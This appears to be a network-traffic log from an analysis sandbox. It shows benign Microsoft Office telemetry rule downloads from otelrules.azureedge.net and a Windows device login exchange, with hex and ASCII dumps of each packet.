2024-12-08 14:38:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:56 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 83446ce3-101e-0046-0a10-4891b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143856Z-r1cf579d778xr2r4hC1EWRqvfs00000005p0000000004ssp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:56 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:58 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:58 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143858Z-r1cf579d778t6txphC1EWRsd4400000006400000000046rp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:58 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:58 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:58 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143858Z-r1cf579d778x776bhC1EWRdk8000000005q00000000026a1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:58 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:58 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:58 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143858Z-r1cf579d778dc6d7hC1EWR2vs800000006d00000000007sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:58 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:58 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143858Z-r1cf579d778xq4f9hC1EWRx41g00000005gg000000002sgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:59 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:58 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:58 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143858Z-r1cf579d778kr8xrhC1EWRfkun000000064000000000262b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:59 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49836	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:59 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 30 76 5a 38 32 48 53 4e 45 30 4b 67 6e 77 6c 52 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 39 34 30 65 64 36 35 63 62 38 35 31 37 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: 0vZ82HSNE0KgnwlR.1Context: 9940ed65cb85173
2024-12-08 14:38:59 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 14:38:59 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 30 76 5a 38 32 48 53 4e 45 30 4b 67 6e 77 6c 52 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 39 34 30 65 64 36 35 63 62 38 35 31 37 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 48 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: 0vZ82HSNE0KgnwlR.2Context: 9940ed65cb85173<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6H
2024-12-08 14:38:59 UTC	73	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 35 0d 0a 4d 53 2d 43 56 3a 20 30 76 5a 38 32 48 53 4e 45 30 4b 67 6e 77 6c 52 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 39 34 30 65 64 36 35 63 62 38 35 31 37 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 55MS-CV: 0vZ82HSNE0KgnwlR.3Context: 9940ed65cb85173
2024-12-08 14:38:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:38:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 64 74 32 4e 39 4d 39 4c 45 53 2b 51 6f 55 78 4d 41 54 55 57 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6dt2N9M9LES+QoUxMATUWw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:00 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:01 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:00 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 7fa91f87-401e-0016-714c-4953e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143900Z-r1cf579d778x776bhC1EWRdk8000000005k00000000069y7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 14:39:01 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:00 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:00 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143900Z-r1cf579d778v97q7hC1EWRf95c00000005ag000000001n8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:01 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:00 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:01 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:00 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 84937fda-101e-0034-6744-4996ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143900Z-r1cf579d7789jf56hC1EWRu58800000000u00000000026kc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-08 14:39:01 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:00 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:00 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fdf36bd3-a01e-0070-1e03-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143900Z-r1cf579d77867vg8hC1EWR8knc00000005e0000000005vzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:01 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" 